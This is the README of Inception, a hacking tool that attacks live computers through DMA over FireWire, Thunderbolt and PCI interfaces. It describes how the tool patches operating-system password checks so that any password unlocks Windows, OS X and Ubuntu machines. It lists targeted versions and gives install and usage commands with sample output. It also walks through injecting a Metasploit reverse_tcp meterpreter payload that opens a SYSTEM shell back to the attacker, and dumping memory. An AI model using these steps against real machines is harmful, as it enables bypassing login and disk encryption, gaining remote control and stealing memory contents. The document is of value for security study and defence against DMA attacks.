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Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.

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Note: This tool is no longer under active development, please look at PCILeech instead.


Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces.

Inception aims to provide a relatively quick, stable and easy way of performing intrusive and non-intrusive memory hacks against live computers using DMA.

How it works

Inception’s modules work as follows: By presenting a Serial Bus Protocol 2 (SBP-2) unit directory to the victim machine over a IEEE1394 FireWire interface, the victim operating system thinks that a SBP-2 device has connected to the FireWire port. Since SBP-2 devices utilize Direct Memory Access (DMA) for fast, large bulk data transfers (e.g., FireWire hard drives and digital camcorders), the victim lowers its shields and enables DMA for the device. The tool now has full read/write access to the lower 4GB of RAM on the victim.

Once DMA is granted, the tool proceeds to search through available memory pages for signatures at certain offsets in the operating system’s code. Once found, the tool manipulates this code. For instance, in the unlock module, the tool short circuits the operating system’s password authentication module that is triggered if an incorrect password is entered.

After running that module you should be able to log into the victim machine using any password.

An analogy for this operation is planting an idea into the memory of the machine; the idea that every password is correct. In other words, the equivalent of a [memory inception] 1.

Inception is free as in beer and a side project of mine.

Awesome! But why?

The world's forensics experts, governments and three-letter acronym agencies are using [similar tools] 2 already. So if you are a dissident or facing an opressive regime, this tool illustrates why OPSEC is important. Never leave your laptop out of sight.


[OS X > 10.7.2] 6 and [Windows > 8.1] 7 disables FireWire DMA when the user has locked the OS and thus prevents inception. The tool will still work while a user is logged on. However, this is a less probable attack scenario IRL.

In addition, [OS X Mavericks > 10.8.2 on Ivy Bridge (>= 2012 Macs)] 8 have enabled VT-D, effectively blocking DMA requests and thwarting all inception modules even when the user is logged in. Look for vtd[0] fault entries in your log/console.

Even though these two caveats gradually will reduce the number of scenarios where this tool is useful, as of March 2015 [70 % of machines out there are still vulnerable] 9.

Key data

The tool makes use of the libforensic1394 library courtesy of Freddie Witherden under a LGPL license.


Inception requires:

  • Hardware:
    • Attacker machine: Linux or Mac OS X (host / attacker machine) with a FireWire interface, either through a native FireWire port, an ExpressCard/PCMCIA expansion port or a Thunderbolt to FireWire adapter.
    • Victim machine: A FireWire or Thunderbolt interface, or an ExpressCard/PCMCIA expansion port

Linux is currently recommended on the attacker side due to buggy firewire interfaces on OS X. Note that direct ThunderBolt to ThunderBolt does not work, you need a FireWire adapter. Your mileage may vary when attempting to use Thunderbolt on Linux.

  • Software:
    • Python 3
    • git
    • gcc (incl. g++)
    • cmake
    • pip (for automatic resolution of dependencies)
    • [libforensic1394] 3
    • msgpack


On Debian-based distributions the installation commands can be summarized as (apply sudo as needed if you're not root):

apt-get install git cmake g++ python3 python3-pip

On OS X, you can install the tool requirements with [homebrew] 4:

brew install git cmake python3

After installing the requirements, download and install libforensic1394:

wget -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 install

Download and install Inception

git clone git://
cd inception
./ install

The setup script should be able to install dependencies if you have pip installed.

General usage

  1. Connect the attacker machine (host) and the victim (target) with a FireWire cable
  2. Run Inception

Simply type:

incept [module name]

For a more complete and up-to-date description, please run:

incept -h

or see the [tool home page] 5.


As of version 0.4.0, Inception has been modularized. The current modules, and their functionality is described below.

For detailed options on usage, run:

incept [module name] -h


The unlock module can unlock (any password accepted) and escalate privileges to Administrator/root on almost* any powered on machine you have physical access to. The module is primarily attended to do its magic against computers that utilize full disk encryption such as BitLocker, FileVault, TrueCrypt or Pointsec. There are plenty of other (and better) ways to hack a machine that doesn't pack encryption.

The unlock module is stable on machines that has 4 GiB of main memory or less. If your the target has more then that, you need to be lucky in order to find the signatures mapped to a physical memory page frame that the tool can reach.

As of this version, it is able to unlock the following x86 and x64 operating systems:

OS Version Unlock lock screen Escalate privileges
Windows 8 8.1 Yes (1) Yes (1)
Windows 8 8.0 Yes Yes
Windows 7 SP1 Yes Yes
Windows 7 SP0 Yes Yes
Windows Vista SP2 Yes Yes
Windows Vista SP1 Yes Yes
Windows Vista SP0 Yes Yes
Windows XP SP3 Yes Yes
Windows XP SP2 Yes Yes
Windows XP SP1
Windows XP SP0
Mac OS X Mavericks Yes (1) Yes (1)
Mac OS X Mountain Lion Yes (1) Yes (1)
Mac OS X Lion Yes (1) Yes (1)
Mac OS X Snow Leopard Yes Yes
Mac OS X Leopard
Ubuntu Saucy Yes Yes
Ubuntu Raring Yes Yes
Ubuntu Quantal Yes Yes
Ubuntu Precise Yes Yes
Ubuntu Oneiric Yes Yes
Ubuntu Natty Yes Yes
Linux Mint 13 Yes Yes
Linux Mint 12 Yes Yes
Linux Mint 12 Yes Yes

(1): See caveats above.

Other Linux distributions that use PAM-based authentication may also work using the Ubuntu signatures.

The module also effectively enables escalation of privileges, for instance via the runas or sudo -s commands, respectively.


To unlock, simply type:

incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful


The implant module implants a (memory-only) Metasploit payload directly to the volatile memory of the target machine. It integrates with MSF through the msfrpcd daemon that is included in all versions of Metasploit.

The current version only work as a proof-of-concept against Windows 7 SP1 x86. No other OSes, versions or architectures are supported, nor is there any guarantee that they will be supported in the future.


To use it, start msfrpcd:

msfrpcd -P [password]

Then launch inception in another terminal:

incept implant --msfpw [password] --msfopts [options]

As an example, to create a reverse TCP meterpreter shell from the target machine to your attacking host, first start the msfrpcd dameon, and then launch a console listening for callbacks.

msfrpcd -P password

In the console, we configure the receiving end of the payload. We're setting the EXITFUNC option to thread to ensure that the target process stays alive if something should go awry:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set EXITFUNC thread
set ExitOnSession false
exploit -j

Then, in another terminal, we launch Inception:

incept implant --msfpw password --msfopts LHOST=

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST:
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful

In your MSF console, you should see something similar to this:

msf exploit(handler) > [*] Sending stage (769536 bytes) to
[*] Meterpreter session 1 opened ( -> at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 -> (

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


The dump module facilitates dumping of memory from the target to the attacking host.


incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin

Known bugs / caveats

Please see the comments at the top and the [tool home page] 5.


Please see the [tool home page] 5.

Planned features

  • Reliable implants on x64
  • VT-D bypass
  • Kernel (ring 0) implants
  • More signatures

Development history

  • 0.0.1 - First version, supports basic Windows XP SP3, Vista and 7, Mac OS X and Ubuntu Gnome unlocking
  • 0.0.2 - Added signatures for early XP SP3, and Windows 7 x86 and x64 SP1
  • 0.0.3 - Added some signatures (thanks Tekkenhead) and error handling
  • 0.0.4 - Added businfo to display connected FireWire devices as well as memory dumping capabilities
  • 0.0.5 - Enhanced memory dumping abilities and added samples catalog
  • 0.0.6 - Added unit testing
  • 0.0.7 - Updated Ubuntu signatures and priv. escalation - thanks Adel Khaldi from Algeria
  • 0.0.8 - Fixed Ubuntu unlock and privilege escalation patches - single patch for double the action
  • 0.1.0 - First minor version! Added signatures for OS X and Vista, plus quite a few bug fixes
  • 0.1.1 - Added signatures for Ubuntu 12.04 LTS
  • 0.1.2 - Patched several bugs
  • 0.1.3 - Patched OS X 10.6.8 x64 signature bug
  • 0.1.4 - Added manual mode easing testing of new signatures
  • 0.2.0 - Added signatures for OS X Mountain Lion (10.8) and Windows 8
  • 0.2.1 - Added signatures for Ubuntu 12.10
  • 0.2.2 - Added signatures for Linux Mint
  • 0.2.3 - General code cleanup, and nicer and more consistent output
  • 0.2.4 - Added a progress bar
  • 0.2.5 - No longer needed to be root to run the tool
  • 0.2.6 - Bug fixes
  • 0.3.0 - Added support for Ubuntu 13.04 targets
  • 0.3.1 - Added support for OS X Maverics and Windows 8.1
  • 0.3.2 - Bug fixes and support for Ubuntu 13.10
  • 0.3.3 - Bug fixes regarding output and error handling
  • 0.3.4 - Maestro!
  • 0.3.5 - Added Ubuntu 10.10 and 10.04 x86 signatures
  • 0.4.0 - Complete restructuring and rewrite. Added implant module
  • 0.4.1 - Merged SLOTSCREAMER interface support
  • 0.4.2 - New signatures


Do no evil with this tool. Also, I am a pentester, not a developer. So if you see weird code that bugs your pythonesque purity senses, drop me a note on how I can improve it. Or even better, fork my code, change it and issue a pull request.


Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.






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